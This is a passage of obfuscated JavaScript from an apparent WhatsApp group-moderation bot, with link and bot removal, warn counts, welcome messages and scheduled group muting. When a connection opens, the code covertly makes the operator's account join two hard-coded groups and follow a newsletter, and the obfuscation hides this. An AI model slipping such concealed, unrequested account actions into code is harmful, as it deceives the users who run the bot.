_0x7921e3;if(_0x3299f0['type']['toLocaleLo'+'werCase']()==='image')_0x7921e3={'image':{'url':_0x3299f0['url']},'caption':_0x3299f0[_0x44b8aa(0x168)]};else{if(_0x3299f0['type']['toLocaleLo'+'werCase']()==='video')_0x7921e3={'video':{'url':_0x3299f0['url']},'caption':_0x3299f0['message']};else{if(_0x3299f0['type']['toLocaleLo'+'werCase']()==='sticker'){let _0x582dad=new Sticker(_0x3299f0['url'],{'pack':conf['NOM_OWNER'],'type':StickerTypes[_0x44b8aa(0x167)],'categories':['🤩','🎉'],'id':_0x399a6b[_0x44b8aa(0x17a)],'quality':0x46,'background':'transparen'+'t'});const _0x3476a0=await _0x582dad['toBuffer']();_0x7921e3={'sticker':_0x3476a0};}else _0x3299f0['type']['toLocaleLo'+'werCase']()===_0x399a6b['QQzWW']&&(_0x7921e3={'audio':{'url':_0x3299f0['url']},'mimetype':_0x399a6b['XiGlX']});}}_0x52e0ec['sendMessag'+'e'](_0x24112c,_0x7921e3,{'quoted':_0x4c3862});}}catch(_0x44207f){}try{const _0x1355a1=await verifierEtatJid(_0x24112c);if(_0x2b4942['includes']('https://')&&_0x315d4b&&_0x1355a1){console['log'](_0x399a6b[_0x44b8aa(0x18c)]);var _0x1d0db0=_0x315d4b?_0x2b0f3d['includes'](_0x7eb229):![];if(_0x481535||_0x56831b||!_0x1d0db0){console['log']('je\x20fais\x20ri'+'en');return;};const _0x4e07ca={'remoteJid':_0x24112c,'fromMe':![],'id':_0x4c3862['key']['id'],'participant':_0x53aefc};var _0x48d1d1=_0x44b8aa(0x1a0)+'ted,\x20\x0a';const _0x3a9dbb='https://ra'+_0x44b8aa(0x1ab)+_0x44b8aa(0x19e)+'com/djaleg'+'a8000/Zoko'+'u-MD/main/'+'media/remo'+'ver.gif';var _0x8fb3cc=new Sticker(_0x3a9dbb,{'pack':'','author':conf['OWNER_NAME'],'type':StickerTypes['FULL'],'categories':['🤩','🎉'],'id':'12345','quality':0x32,'background':_0x399a6b[_0x44b8aa(0x1a7)]});await _0x8fb3cc['toFile'](_0x399a6b['dAjJV']);var _0x4c7bb=await recupererActionJid(_0x24112c);if(_0x399a6b['aQfjZ'](_0x4c7bb,'remove')){_0x48d1d1+='message\x20de'+'leted\x20\x0a\x20@'+_0x53aefc['split']('@')[0x1db6+0x1*0x1f96+-0x3d4c]+(_0x44b8aa(0x160)+'rom\x20group.'),await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'sticker':fs['readFileSy'+'nc']('st1.webp')}),(-0x1f2c+0x92a+0x1602,baileys_1['delay'])(0x22fb+0x1e36+-0x3e11),await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'text':_0x48d1d1,'mentions':[_0x53aefc]},{'quoted':_0x4c3862});try{await _0x52e0ec['groupParti'+'cipantsUpd'+'ate'](_0x24112c,[_0x53aefc],'remove');}catch(_0x33bb74){console['log']('antiien\x20')+_0x33bb74;}await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'delete':_0x4e07ca}),await fs['unlink']('st1.webp');}else{if(_0x4c7bb===_0x399a6b['IwboT'])_0x48d1d1+='Goodbye\x20\x0a\x20'+'@'+_0x53aefc['split']('@')[0x1*0x1253+0x1bb+-0x140e]+('\x20Sending\x20o'+'ther\x20group'+'\x20links\x20her'+'e\x20is\x20prohi'+'bited!.'),await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'text':_0x48d1d1,'mentions':[_0x53aefc]},{'quoted':_0x4c3862}),await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'delete':_0x4e07ca}),await fs['unlink']('st1.webp');else{if(_0x4c7bb==='warn'){const {getWarnCountByJID:_0xb2f60,ajouterUtilisateurAvecWarnCount:_0x3c64b8}=_0x399a6b['LieWO'](require,_0x399a6b['QziJP']);let _0x1282dd=await _0xb2f60(_0x53aefc),_0x3bee50=conf[_0x44b8aa(0x1b3)];if(_0x1282dd>=_0x3bee50){var _0x25a4c9=_0x44b8aa(0x1a0)+'ted\x20,\x20you\x20'+'will\x20be\x20re'+'move\x20becau'+'se\x20of\x20reac'+'hing\x20warn-'+'limit';await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'text':_0x25a4c9,'mentions':[_0x53aefc]},{'quoted':_0x4c3862}),await _0x52e0ec['groupParti'+'cipantsUpd'+'ate'](_0x24112c,[_0x53aefc],'remove'),await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'delete':_0x4e07ca});}else{var _0x360271=_0x3bee50-_0x1282dd,_0x19d4f9='Link\x20detec'+'ted\x20,\x20your'+'\x20warn_coun'+'t\x20was\x20upgr'+_0x44b8aa(0x180)+'t\x20:\x20'+_0x360271+'\x20';await _0x3c64b8(_0x53aefc),await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'text':_0x19d4f9,'mentions':[_0x53aefc]},{'quoted':_0x4c3862}),await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'delete':_0x4e07ca});}}}}}}catch(_0x3bc874){console['log']('bdd\x20err\x20'+_0x3bc874);}try{const _0x836d4a=_0x4c3862['key']?.['id']?.['startsWith']('BAES')&&_0x4c3862['key']?.['id']?.[_0x44b8aa(0x1b5)]===0xb6+0x870+0x916*-0x1,_0x585bbd=_0x4c3862['key']?.['id']?.['startsWith']('BAE5')&&_0x399a6b['aQfjZ'](_0x4c3862['key']?.['id']?.['length'],-0x16c7+0x110*-0x1b+0x112d*0x3);if(_0x836d4a||_0x585bbd){if(_0x34d90d==='reactionMe'+'ssage'){console[_0x44b8aa(0x1bc)](_0x399a6b['erfaV']);return;};const _0x1812c3=await atbverifierEtatJid(_0x24112c);if(!_0x1812c3)return;;if(_0x56831b||_0x399a6b['aQfjZ'](_0x53aefc,_0x7eb229)){console['log']('je\x20fais\x20ri'+'en');return;};const _0x44dbb0={'remoteJid':_0x24112c,'fromMe':![],'id':_0x4c3862[_0x44b8aa(0x1a1)]['id'],'participant':_0x53aefc};var _0x48d1d1='bot\x20detect'+'ed,\x20\x0a';const _0x4aba7f='https://ra'+'w.githubus'+'ercontent.'+'com/djaleg'+'a8000/Zoko'+'u-MD/main/'+'media/remo'+_0x44b8aa(0x162);var _0x8fb3cc=new Sticker(_0x4aba7f,{'pack':_0x399a6b['FUSGl'],'author':conf['OWNER_NAME'],'type':StickerTypes['FULL'],'categories':['🤩','🎉'],'id':'12345','quality':0x32,'background':'#000000'});await _0x8fb3cc['toFile']('st1.webp');var _0x4c7bb=await atbrecupererActionJid(_0x24112c);if(_0x4c7bb==='remove'){_0x48d1d1+='message\x20de'+'leted\x20\x0a\x20@'+_0x53aefc['split']('@')[0x97d+0x22c6+-0x2c43]+('\x20removed\x20f'+'rom\x20group.'),await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'sticker':fs['readFileSy'+'nc'](_0x44b8aa(0x190))}),(-0xc5*0x2+-0x2*0x33d+0x804,baileys_1['delay'])(-0x1*0x1f4+-0x38c+0x8a0),await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'text':_0x48d1d1,'mentions':[_0x53aefc]},{'quoted':_0x4c3862});try{await _0x52e0ec['groupParti'+'cipantsUpd'+'ate'](_0x24112c,[_0x53aefc],'remove');}catch(_0x1f96ab){console['log']('antibot\x20')+_0x1f96ab;}await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'delete':_0x44dbb0}),await fs['unlink'](_0x399a6b['dAjJV']);}else{if(_0x4c7bb===_0x44b8aa(0x156))_0x48d1d1+='message\x20de'+'lete\x20\x0a\x20@'+_0x53aefc['split']('@')[0x2262+-0x1d9f+-0x4c3]+('\x20Avoid\x20sen'+'ding\x20link.'),await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'text':_0x48d1d1,'mentions':[_0x53aefc]},{'quoted':_0x4c3862}),await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'delete':_0x44dbb0}),await fs['unlink']('st1.webp');else{if(_0x4c7bb==='warn'){const {getWarnCountByJID:_0x1d0dd2,ajouterUtilisateurAvecWarnCount:_0x23e466}=require(_0x44b8aa(0x1cc));let _0x44de54=await _0x1d0dd2(_0x53aefc),_0x3ecac6=conf['WARN_COUNT'];if(_0x44de54>=_0x3ecac6){var _0x25a4c9='bot\x20detect'+_0x44b8aa(0x1cb)+'ll\x20be\x20remo'+'ve\x20because'+'\x20of\x20reachi'+'ng\x20warn-li'+'mit';await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'text':_0x25a4c9,'mentions':[_0x53aefc]},{'quoted':_0x4c3862}),await _0x52e0ec['groupParti'+_0x44b8aa(0x1a3)+'ate'](_0x24112c,[_0x53aefc],'remove'),await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'delete':_0x44dbb0});}else{var _0x360271=_0x3ecac6-_0x44de54,_0x19d4f9='bot\x20detect'+'ed\x20,\x20your\x20'+'warn_count'+'\x20was\x20upgra'+'de\x20;\x0a\x20rest'+'\x20:\x20'+_0x360271+'\x20';await _0x23e466(_0x53aefc),await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'text':_0x19d4f9,'mentions':[_0x53aefc]},{'quoted':_0x4c3862}),await _0x52e0ec['sendMessag'+'e'](_0x24112c,{'delete':_0x44dbb0});}}}}}}catch(_0x25fb47){console['log']('....\x20'+_0x25fb47);}if(_0x29a1b1){const _0x30fced=evt['cm']['find'](_0x5a6d35=>_0x5a6d35['nomCom']===_0x169023||_0x5a6d35['nomCom']===_0x169023||_0x5a6d35['aliases']&&_0x5a6d35['aliases']['includes'](_0x169023));if(_0x30fced)try{if(conf[_0x44b8aa(0x18a)]['toLocaleLo'+'werCase']()!='yes'&&!_0x481535)return;if(!_0x481535&&_0x24112c===_0x53aefc&&conf['PM_PERMIT']==='yes'){_0x61db46(_0x399a6b['HAbsC']);return;}if(!_0x481535&&_0x315d4b){let _0x5d8e9d=await isGroupBanned(_0x24112c);if(_0x5d8e9d)return;}if(!_0x56831b&&_0x315d4b){let _0x557f0f=await isGroupOnlyAdmin(_0x24112c);if(_0x557f0f)return;}if(!_0x481535){let _0x5afcad=await isUserBanned(_0x53aefc);if(_0x5afcad){_0x61db46('You\x20are\x20ba'+'nned\x20from\x20'+_0x44b8aa(0x172)+'ds');return;}}reagir(_0x24112c,_0x52e0ec,_0x4c3862,_0x30fced['reaction']),_0x30fced['fonction'](_0x24112c,_0x52e0ec,_0x52f036);}catch(_0x252752){console['log'](_0x44b8aa(0x186)+_0x252752),_0x52e0ec['sendMessag'+'e'](_0x24112c,{'text':'😡😡\x20'+_0x252752},{'quoted':_0x4c3862});}}});const {recupevents:_0x48ed35}=_0x399a6b['VDPTX'](require,_0x399a6b['ilzhg']);_0x52e0ec['ev']['on']('group-part'+'icipants.u'+'pdate',async _0x2c8c83=>{const _0x50c763=_0x5497b6;console['log'](_0x2c8c83);let _0x416508;try{_0x416508=await _0x52e0ec['profilePic'+'tureUrl'](_0x2c8c83['id'],'image');}catch{_0x416508='https://ib'+'b.co/7SKY0'+'tg';}try{const _0x25f85e=await _0x52e0ec['groupMetad'+'ata'](_0x2c8c83['id']);if(_0x2c8c83['action']==_0x50c763(0x16a)&&await _0x399a6b['Guvtn'](_0x48ed35,_0x2c8c83['id'],'welcome')=='on'){let _0x57ae41='𝐁𝐄𝐋𝐓𝐀𝐇\x20𝐌𝐃\x0a'+'\x0a👋\x20Hello\x0a',_0x92b996=_0x2c8c83[_0x50c763(0x165)+'ts'];for(let _0x9c0068 of _0x92b996){_0x57ae41+='\x20*@'+_0x9c0068['split']('@')[-0xd99+-0x1940+0x26d9]+('*\x20Welcome\x20'+'to\x20Our\x20Off'+'icial\x20Grou'+'p,');}_0x57ae41+='You\x20might\x20'+'want\x20to\x20re'+'ad\x20the\x20gro'+'up\x20Descrip'+'tion\x20to\x20av'+'oid\x20gettin'+'g\x20removed.'+'..',_0x52e0ec['sendMessag'+'e'](_0x2c8c83['id'],{'image':{'url':_0x416508},'caption':_0x57ae41,'mentions':_0x92b996});}else{if(_0x2c8c83['action']=='remove'&&await _0x48ed35(_0x2c8c83['id'],_0x399a6b['kbYjA'])=='on'){let _0x5ba16c=_0x50c763(0x14d)+'es\x20member('+'s)\x20left\x20gr'+'oup;\x0a',_0x3b55e7=_0x2c8c83['participan'+'ts'];for(let _0x563690 of _0x3b55e7){_0x5ba16c+='@'+_0x563690[_0x50c763(0x196)]('@')[-0xbb6*-0x1+-0x1af*0x5+-0x3*0x119]+'\x0a';}_0x52e0ec['sendMessag'+'e'](_0x2c8c83['id'],{'text':_0x5ba16c,'mentions':_0x3b55e7});}else{if(_0x2c8c83['action']=='promote'&&await _0x48ed35(_0x2c8c83['id'],'antipromot'+'e')=='on'){if(_0x2c8c83['author']==_0x25f85e['owner']||_0x399a6b['XoGEi'](_0x2c8c83['author'],conf['NUMERO_OWN'+'ER']+('@s.whatsap'+'p.net'))||_0x399a6b['XoGEi'](_0x2c8c83['author'],decodeJid(_0x52e0ec['user']['id']))||_0x2c8c83['author']==_0x2c8c83['participan'+'ts'][-0xc1*-0x1d+0x23fb+-0x39d8]){console['log'](_0x50c763(0x15b)+'erUser\x20je\x20'+'fais\x20rien');return;};await _0x52e0ec['groupParti'+'cipantsUpd'+'ate'](_0x2c8c83['id'],[_0x2c8c83['author'],_0x2c8c83['participan'+'ts'][-0x112d*0x1+-0x1980+0x2aad]],'demote'),_0x52e0ec['sendMessag'+'e'](_0x2c8c83['id'],{'text':'@'+_0x2c8c83[_0x50c763(0x1b4)]['split']('@')[-0x2057+0x6*0x269+-0x11e1*-0x1]+('\x20has\x20viola'+'ted\x20the\x20an'+_0x50c763(0x17c)+'on\x20rule,\x20t'+'herefore\x20b'+'oth\x20')+_0x2c8c83[_0x50c763(0x1b4)][_0x50c763(0x196)]('@')[0x53*-0xd+0x53f*0x1+-0x108]+'\x20and\x20@'+_0x2c8c83['participan'+'ts'][0x148a+0x5e*-0x5f+-0x24*-0x66]['split']('@')[0x955+-0x86*-0x18+-0x5*0x461]+('\x20have\x20been'+'\x20removed\x20f'+'rom\x20admini'+_0x50c763(0x1a2)+'ights.'),'mentions':[_0x2c8c83['author'],_0x2c8c83['participan'+'ts'][-0xd9*0xb+0x1194+-0x841]]});}else{if(_0x2c8c83['action']==_0x399a6b['axHuy']&&await _0x48ed35(_0x2c8c83['id'],'antidemote')=='on'){if(_0x2c8c83['author']==_0x25f85e['owner']||_0x2c8c83['author']==conf['NUMERO_OWN'+'ER']+_0x399a6b['lkxwp']||_0x2c8c83['author']==decodeJid(_0x52e0ec['user']['id'])||_0x2c8c83['author']==_0x2c8c83['participan'+'ts'][0xf37+0x1fa8+-0x2edf]){console['log']('Cas\x20de\x20sup'+'erUser\x20je\x20'+'fais\x20rien');return;};await _0x52e0ec['groupParti'+'cipantsUpd'+'ate'](_0x2c8c83['id'],[_0x2c8c83['author']],_0x50c763(0x17d)),await _0x52e0ec['groupParti'+'cipantsUpd'+_0x50c763(0x1b2)](_0x2c8c83['id'],[_0x2c8c83['participan'+'ts'][0xb*0x19e+-0x1*-0x24a6+-0x3670]],'promote'),_0x52e0ec['sendMessag'+'e'](_0x2c8c83['id'],{'text':'@'+_0x2c8c83['author']['split']('@')[-0xd02+0x186e+-0x1*0xb6c]+('\x20has\x20viola'+'ted\x20the\x20an'+'ti-demotio'+_0x50c763(0x194)+'removing\x20@')+_0x2c8c83['participan'+'ts'][0x8*-0x22b+-0x205b+0x31b3]['split']('@')[0xd*-0x8b+0x1dc+-0xb*-0x79]+('.\x20Conseque'+'ntly,\x20he\x20h'+'as\x20been\x20st'+'ripped\x20of\x20'+'administra'+'tive\x20right'+'s.'),'mentions':[_0x2c8c83['author'],_0x2c8c83['participan'+'ts'][-0x7*0x3c1+-0x802+0x2249]]});}}}}}catch(_0x4fddfb){console['error'](_0x4fddfb);}});async function _0xe5491b(){const _0xcc1440=_0x5497b6,_0x4bf74d=require('node-cron'),{getCron:_0x543e41}=require('./bdd/cron');let _0x3ae2b9=await _0x543e41();console['log'](_0x3ae2b9);if(_0x3ae2b9['length']>0x1*0x1b97+-0x1f09+0x7*0x7e)for(let _0x236a01=-0x1*-0x20af+0x4b6+-0x2565;_0x2df815['kqhCW'](_0x236a01,_0x3ae2b9['length']);_0x236a01++){if(_0x3ae2b9[_0x236a01]['mute_at']!=null){let _0xe0f3e=_0x3ae2b9[_0x236a01]['mute_at']['split'](':');console['log']('etablissem'+'ent\x20d\x27un\x20a'+_0xcc1440(0x169)+'ur\x20'+_0x3ae2b9[_0x236a01]['group_id']+'\x20a\x20'+_0xe0f3e[0x1d*0x47+0x958+0x1*-0x1163]+'\x20H\x20'+_0xe0f3e[-0x222a+-0xe0d+0x3038]),_0x4bf74d[_0xcc1440(0x1a4)](_0xe0f3e[-0x2*-0x77a+-0xf68+0x75]+'\x20'+_0xe0f3e[-0x123f*-0x1+0x1*0x5c5+-0x1804]+'\x20*\x20*\x20*',async()=>{await _0x52e0ec['groupSetti'+'ngUpdate'](_0x3ae2b9[_0x236a01]['group_id'],'announceme'+'nt'),_0x52e0ec['sendMessag'+'e'](_0x3ae2b9[_0x236a01]['group_id'],{'image':{'url':'./media/ch'+'rono.webp'},'caption':'Hello,\x20it\x27'+'s\x20time\x20to\x20'+'close\x20the\x20'+'group;\x20say'+'onara.'});},{'timezone':'Africa/Nai'+'robi'});}if(_0x3ae2b9[_0x236a01]['unmute_at']!=null){let _0xafdf90=_0x3ae2b9[_0x236a01]['unmute_at']['split'](':');console['log']('etablissem'+'ent\x20d\x27un\x20a'+'utounmute\x20'+'pour\x20'+_0xafdf90[0x9f*-0x3b+-0x1168+-0x65*-0x89]+'\x20H\x20'+_0xafdf90[-0x19*0x14b+-0x15+0x2069]+'\x20'),_0x4bf74d['schedule'](_0xafdf90[0x462+0x129d+-0x16fe]+'\x20'+_0xafdf90[0x23*0xaf+0x2*0x5c8+-0x237d*0x1]+'\x20*\x20*\x20*',async()=>{await _0x52e0ec['groupSetti'+'ngUpdate'](_0x3ae2b9[_0x236a01]['group_id'],'not_announ'+'cement'),_0x52e0ec['sendMessag'+'e'](_0x3ae2b9[_0x236a01]['group_id'],{'image':{'url':'./media/ch'+'rono.webp'},'caption':'Good\x20morni'+'ng;\x20It\x27s\x20t'+'ime\x20to\x20ope'+'n\x20the\x20grou'+'p.'});},{'timezone':'Africa/Nai'+'robi'});}}else console['log']('Les\x20crons\x20'+'n\x27ont\x20pas\x20'+'été\x20activé'+'s');return;}_0x52e0ec['ev']['on']('contacts.u'+'psert',async _0x22e2da=>{const _0x5a21a7=_0x249720=>{for(const _0x205c69 of _0x249720){store['contacts'][_0x205c69['id']]?Object['assign'](store['contacts'][_0x205c69['id']],_0x205c69):store['contacts'][_0x205c69['id']]=_0x205c69;}return;};_0x5a21a7(_0x22e2da);});async function _0x3c5493(){try{console['log']('Executing\x20'+'newsletter'+'\x20functiona'+'lity...');}catch(_0x423734){console['error']('Error\x20in\x20n'+'ewsletter:',_0x423734);}}return _0x52e0ec['ev']['on'](_0x399a6b[_0x5497b6(0x161)],async _0x148f44=>{const _0x381a93=_0x5497b6,{lastDisconnect:_0x272853,connection:_0x11037d}=_0x148f44;if(_0x11037d==='connecting')console['log']('ℹ️\x20Connecti'+'ng...');else{if(_0x11037d==='open'){await _0x52e0ec['groupAccep'+'tInvite'](_0x399a6b['cfakN']),await _0x52e0ec['newsletter'+_0x381a93(0x193)]('1203632494'+'64136503@n'+'ewsletter'),await _0x52e0ec[_0x381a93(0x16b)+'tInvite']('E6is3oN7Rd'+'EDl7OiA3b0'+'S3'),console['log']('✅\x20Connecti'+'on\x20success'+'ful!\x20☺️'),console['log']('--'),await(-0x1315*-0x1+-0x1*-0x821+-0x81*0x36,baileys_1['delay'])(0x379+0x2*0xbf9+0x1aa3*-0x1),console['log']('------'),await(-0x4*0x62a+0x1*-0xc33+-0x1*-0x24db,baileys_1['delay'])(-0x1cc2*0x1+0xc79*-0x3+0x4359),console['log']('----------'+'--------/-'+'----'),console['log']('Beltah\x20MD\x20'+'bot\x20is\x20onl'+'ine\x20🕸\x0a\x0a'),console[_0x381a93(0x1bc)]('Loading\x20co'+_0x381a93(0x1b9)),fs['readdirSyn'+'c'](__dirname+'/commands')['forEach'](_0x1b8c0d=>{if(path['extname'](_0x1b8c0d)['toLowerCas'+'e']()=='.js'){try{require(__dirname+'/commands/'+_0x1b8c0d),console['log'](_0x1b8c0d+('\x20installed'+'\x20✔️'));}catch(_0x51bfe7){console['log'](_0x1b8c0d+('\x20could\x20not'+'\x20be\x20loaded'+'\x20due\x20to\x20th'+'e\x20followin'+'g\x20reasons:'+'\x20')+_0x51bfe7);}(0xe9b+-0x1201+-0xa*-0x57,baileys_1['delay'])(0xb*-0x1f9+-0xe61+0x10*0x254);}}),(-0x631+-0xc31*0x1+0x1262,baileys_1['delay'])(-0x1683+-0x12*0x3+0x1975);let _0x5ada71;if(conf['MODE']['toLocaleLo'+'werCase']()==='yes')_0x5ada71='public';else conf['MODE']['toLocaleLo'+'werCase']()==='no'?_0x5ada71='private':_0x5ada71='undefined';console['log']('Command\x20lo'+'ading\x20comp'+'leted\x20✅');if(conf['DP']['toLowerCas'+'e']()==='yes'){let _0x1fdc94='╭════⊷\x0a║\x20*'+'『\x20'+conf['BOT']+(_0x381a93(0x158)+'』*\x0a║\x20ᴏᴡɴᴇʀ'+':\x20')+conf['OWNER_NAME']+('\x0a║\x20ᴘʀᴇꜰɪx\x20'+':\x20[\x20')+prefixe+('\x20]\x0a║\x20ᴍᴏᴅᴇ\x20'+':')+_0x5ada71+('︎\x0a╰═══════'+'══════════'+'⊷\x0a\x0a╭───◇\x0a┃'+'🛸\x20NEW\x20UPDA'+'TE\x20AVAILAB'+'LE\x20🛸\x0a┃\x20ple'+'ase\x20update'+'\x20your\x20')+conf['BOT']+(_0x381a93(0x1a9)+'ch\x20latest\x20'+'version\x20co'+'mmands...\x0a'+'╰═════════'+'════════⊷');await _0x52e0ec['sendMessag'+'e'](_0x52e0ec['user']['id'],{'text':_0x1fdc94});}await _0x3c5493();}else{if(_0x11037d=='close'){let _0x45ae7b=new boom_1['Boom'](_0x272853?.['error'])?.['output'][_0x381a93(0x1b0)];if(_0x45ae7b===baileys_1['Disconnect'+'Reason']['badSession'])console['log']('Invalid\x20se'+'ssion\x20ID,\x20'+'please\x20res'+'can\x20the\x20QR'+'\x20code...');else{if(_0x45ae7b===baileys_1['Disconnect'+'Reason'][_0x381a93(0x1be)+'Closed'])console['log'](_0x381a93(0x1ad)+'tion\x20close'+'d,\x20reconne'+'cting...'),_0x36902e();else{if(_0x45ae7b===baileys_1['Disconnect'+'Reason']['connection'+'Lost'])console['log']('Connection'+'\x20to\x20the\x20se'+'rver\x20lost\x20'+'😞,\x20reconne'+'cting...'),_0x36902e();else{if(_0x45ae7b===baileys_1['Disconnect'+'Reason']?.['connection'+'Replaced'])console['log']('Connection'+_0x381a93(0x19a)+'\x20a\x20session'+'\x20is\x20alread'+'y\x20open,\x20pl'+'ease\x20close'+'\x20it!!!');else{if(_0x45ae7b===baileys_1['Disconnect'+_0x381a93(0x166)]['loggedOut'])console[_0x381a93(0x1bc)]('You\x20are\x20lo'+'gged\x20out,\x20'+'please\x20res'+'can\x20the\x20QR'+'\x20code');else{if(_0x45ae7b===baileys_1['Disconnect'+_0x381a93(0x166)][_0x381a93(0x170)+'uired'])console['log']('Restarting'+'...\x20▶️'),_0x36902e();else{console[_0x381a93(0x1bc)](_0x399a6b['QbLfo'],_0x45ae7b);const {exec:_0x33b5a3}=require('child_proc'+_0x381a93(0x187));_0x33b5a3('pm2\x20restar'+'t\x20all');}}}}}}_0x36902e();}}}}),_0x52e0ec['ev']['on']('creds.upda'+'te',_0xc2c4a),_0x52e0ec['downloadAn'+'dSaveMedia'+'Message']=async(_0x3b64d4,_0x44c6f1='',_0x977dc7=!![])=>{const _0xe38d49=_0x5497b6;let _0x370065=_0x3b64d4[_0xe38d49(0x16d)]?_0x3b64d4['msg']:_0x3b64d4,_0x3839f7=(_0x3b64d4['msg']||_0x3b64d4)['mimetype']||'',_0x50f3ae=_0x3b64d4['mtype']?_0x3b64d4['mtype']['replace'](/Message/gi,''):_0x3839f7['split']('/')[-0x180d+-0x2312+0x3b1f*0x1];const _0x26fd87=await(0x8*-0x3f8+0x62*0x2+0x1efc,baileys_1['downloadCo'+'ntentFromM'+'essage'])(_0x370065,_0x50f3ae);let _0x4427af=Buffer['from']([]);for await(const _0x7df3c of _0x26fd87){_0x4427af=Buffer['concat']([_0x4427af,_0x7df3c]);}let _0x572086=await FileType['fromBuffer'](_0x4427af),_0x4a811f=_0x2df815['RcQvb']('./',_0x44c6f1)+'.'+_0x572086['ext'];return await fs['writeFileS'+'ync'](_0x4a811f,_0x4427af),_0x4a811f;},_0x52e0ec['awaitForMe'+'ssage']=async(_0x549b8d={})=>{const _0x30f9d1={'GSNEn':'Timeout'};return new Promise((_0x32161a,_0x151a19)=>{const _0x1ca092=_0x4bcc,_0x48eb85={'Ugxyn':function(_0x2cd455,_0x22a43a){return _0x2cd455||_0x22a43a;}};if(typeof _0x549b8d!=='object')_0x151a19(new Error('Options\x20mu'+'st\x20be\x20an\x20o'+'bject'));if(typeof _0x549b8d['sender']!=='string')_0x151a19(new Error(_0x1ca092(0x1ac)+'t\x20be\x20a\x20str'+'ing'));if(typeof _0x549b8d['chatJid']!=='string')_0x151a19(new Error('ChatJid\x20mu'+'st\x20be\x20a\x20st'+'ring'));if(_0x549b8d['timeout']&&typeof _0x549b8d['timeout']!=='number')_0x151a19(new Error('Timeout\x20mu'+'st\x20be\x20a\x20nu'+'mber'));if(_0x549b8d['filter']&&typeof _0x549b8d['filter']!=='function')_0x2df815['urYoo'](_0x151a19,new Error(_0x2df815['JQmZm']));const _0x48c6a1=_0x549b8d?.['timeout']||undefined,_0x24ef37=_0x549b8d?.['filter']||(()=>!![]);let _0x29eb9e=undefined,_0x16c729=_0x899194=>{const _0x373434=_0x1ca092;let {type:_0x1c603c,messages:_0x24acda}=_0x899194;if(_0x1c603c=='notify')for(let _0x15f07d of _0x24acda){const _0x413ac7=_0x15f07d[_0x373434(0x1a1)]['fromMe'],_0x4f7c79=_0x15f07d['key']['remoteJid'],_0x316e65=_0x4f7c79['endsWith']('@g.us'),_0x3c0eb4=_0x4f7c79=='status@bro'+'adcast',_0x2d6363=_0x413ac7?_0x52e0ec['user']['id']['replace'](/:.*@/g,'@'):_0x48eb85['Ugxyn'](_0x316e65,_0x3c0eb4)?_0x15f07d['key']['participan'+'t']['replace'](/:.*@/g,'@'):_0x4f7c79;_0x2d6363==_0x549b8d['sender']&&_0x4f7c79==_0x549b8d['chatJid']&&_0x24ef37(_0x15f07d)&&(_0x52e0ec['ev']['off']('messages.u'+'psert',_0x16c729),clearTimeout(_0x29eb9e),_0x32161a(_0x15f07d));}};_0x52e0ec['ev']['on']('messages.u'+_0x1ca092(0x1aa),_0x16c729),_0x48c6a1&&(_0x29eb9e=setTimeout(()=>{const _0x4c9be1=_0x1ca092;_0x52e0ec['ev'][_0x4c9be1(0x17e)]('messages.u'+'psert',_0x16c729),_0x151a19(new Error(_0x30f9d1['GSNEn']));},_0x48c6a1));});},_0x52e0ec;}let _0x5858b2=require['resolve'](__filename);fs['watchFile'](_0x5858b2,()=>{const _0x9e3db6=_0x5a53cb;fs[_0x9e3db6(0x1a6)+'e'](_0x5858b2),console['log']('Updated\x20'+__filename),delete require['cache'][_0x5858b2],require(_0x5858b2);}),_0x36902e();},0x1282+-0x1*-0x1b0c+-0x2*0xd03); 1152 | 'use strict';const _0x445be0=_0x59a8;(function(_0x550c29,_0x35be14){const _0x4394a8=_0x59a8,_0x40f42d=_0x550c29();while(!![]){try{const _0x49ef9d=parseInt(_0x4394a8(0x1ed))/(0x1642+-0x2*-0xe51+0x745*-0x7)+parseInt(_0x4394a8(0x202))/(0xb71+-0x14c7+-0x1*-0x958)+-parseInt(_0x4394a8(0x247))/(-0x1*-0xef7+-0x16c3+0x7cf)*(-parseInt(_0x4394a8(0x213))/(-0x12b8+0x20ce+-0x2*0x709))+-parseInt(_0x4394a8(0x1f5))/(-0x1805+0xa7*-0x30+0x375a)+parseInt(_0x4394a8(0x265))/(0x1*-0x71b+0x25ab*-0x1+0x2ccc)*(parseInt(_0x4394a8(0x1ee))/(-0x1260+-0x1a57+0x2cbe))+-parseInt(_0x4394a8(0x215))/(0x348+0x6*-0x97+0x4a)+parseInt(_0x4394a8(0x22c))/(0x2b5+-0x2*-0x11f5+-0x2696)*(-parseInt(_0x4394a8(0x229))/(-0x1a6f+-0x155c+0x991*0x5));if(_0x49ef9d===_0x35be14)break;else _0x40f42d['push'](_0x40f42d['shift']());}catch(_0x5cdc1f){_0x40f42d['push'](_0x40f42d['shift']());}}}(_0x2eb2,-0x2b1ae*0x9+-0x13*0x2cc9+0x29cc6c));var __createBinding=this&&this['__createBi'+'nding']||(Object['create']?function(_0x35d1ee,_0x2ce1b3,_0x54baff,_0x113646){_0x113646===undefined&&(_0x113646=_0x54baff);var _0x5ccd26=Object['getOwnProp'+'ertyDescri'+'ptor'](_0x2ce1b3,_0x54baff);(!_0x5ccd26||('get'in _0x5ccd26?!_0x2ce1b3['__esModule']:_0x5ccd26['writable']||_0x5ccd26['configurab'+'le']))&&(_0x5ccd26={'enumerable':!![],'get':function(){return 